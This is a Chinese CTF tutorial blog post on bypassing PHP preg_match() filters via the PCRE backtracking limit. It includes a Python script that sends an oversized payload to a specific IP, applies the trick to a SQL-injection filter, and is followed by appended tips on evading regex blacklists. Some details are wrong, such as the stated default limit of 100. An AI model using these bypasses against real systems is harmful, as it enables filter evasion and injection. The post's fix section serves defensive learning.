CTF之preg_match()函数绕过


前言

<?php
error_reporting(0);
highlight_file(__FILE__);

$a = $_POST['heizi'];
if (isset($a)){
   if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){  # 限制死了,aikun字符xiaojijiao
       if ($a == "aikunxiaojijiao"){
           die("nononono");
       }
       if (preg_match('/aikun.+?xiaojijiao/is',$a)){
       /*
       . 匹配除换行的所有字符
       + 匹配+号前的字符1次或多次
       ? 匹配?号前的字符0次或多次

       i   :不区分大小写
       s   :.可以表示换行
       */
           die("Hack!!!");
       }
       system("ls");  # 目的
   }else{
       die("what?");
   }
}
?>

由上所示,我们的目的就是输出system("ls");,可是前面三条if语句已经写死了,不可能数组绕过:preg_match只能处理字符串,当传入的subject是数组时会返回false,不可能换行符绕过, s :.可以表示换行
先不急,先看如下的:


0x01 正则表达式是什么

  1. 正则表达式是一个可以被有限状态自动机接受的语言类。(有限状态自动机:要么匹配成功,要么失败)
  2. 正则匹配通过正则引擎实现,正则引擎又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)
    • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
    • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

    由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

0x02 回溯的过程是怎样的

对于preg_match('/aikun.+?xiaojijiao/is',$a),如果$a=aikunaaaaxiaojijiao

  1. 首先匹配aikun
  2. aikun.+?中的.+可以匹配如下的aaaaxiaojijiao字符,然后匹配引擎发现xiaojijiao没有匹配的项了,开始向前回溯
  3. .+开始匹配aaaaxiaojijia,xiaojijiao与a不匹配,又开始回溯
  4. .+开始匹配aaaaxiaojiji,xiaojijiao与ao不匹配,又开始回溯。。。。
  5. 回溯到.+?开始匹配aaaa,xiaojijiao与xiaojijiao正好匹配,匹配完成

0x03PHP的pcre.backtrack_limit限制利用

如上所示,如果一直匹配是不是会浪费系统资源,只要你写的正则足够复杂,你就可以让匹配引擎一直匹配,所有
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。
我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:(回溯次数上限默认是100)

import requests

data = {
  'heizi': 'aikun' +'a'*1000000 + 'xiaojijiao'
}

res = requests.post('http://182.148.156.200:9134/', data=data, allow_redirects=False)
print(res.text)

如上所示写一个脚本,让匹配引擎匹配超过1000000次,preg_match(‘/aikun.+?xiaojijiao/is’,$a)返回false,目的达到

0x04 PCRE另一种错误的用法

对于sql注入,我们都知道就是字符匹配,发现使用了preg_match()函数就可以使用回溯进行绕过:

 if(preg_match('/UNION/is', $input)) {
     die('SQL Injection');
 }

0x05 修复方法

如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,就算回溯成功false也不全等于0

  • 2
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
preg_match函数PHP中用于执行正则表达式匹配的函数。在CTF比赛中,可能会遇到一些安全控制中使用了正则表达式检查输入的情况。为了绕过这种检查,可以尝试以下方法: 1. 绕过正则表达式匹配的特殊字符:在正则表达式中,有一些特殊字符如$、^、*、+等,如果直接输入这些字符,很可能会被正则表达式匹配函数检测出来。可以使用反斜杠\对这些特殊字符进行转义,绕过检测。例如,要匹配字符串$abc,可以使用正则表达式/\$abc/。 2. 绕过正则表达式中使用的黑名单:有时候,安全控制会设置一个正则表达式的黑名单,例如禁止出现' or ''='等关键词。可以使用一些技巧来绕过这种检测,例如使用大小写混合、使用空格、使用HTML实体等。例如,要匹配字符串' or ''=',可以使用正则表达式/'[\s]*oR[\s]*'='[\s]*'/i,其中[\s]*表示0个或多个空格,i表示大小写不敏感。 3. 利用正则表达式的漏洞:有时候,正则表达式本身可能存在一些漏洞,可以利用这些漏洞来绕过安全控制。例如,正则表达式中的量词可能会导致性能问题,可以尝试使用非贪婪量词来绕过匹配。例如,要匹配字符串abc,可以使用正则表达式/a.*?c/,其中.*?表示非贪婪匹配任意字符。 4. 绕过正则表达式的限制:有时候,正则表达式的长度限制或者复杂度限制可能会导致无法匹配某些字符串。可以尝试使用一些技巧来绕过这种限制,例如将正则表达式拆分成多个部分、使用递归匹配等。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全天天学

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值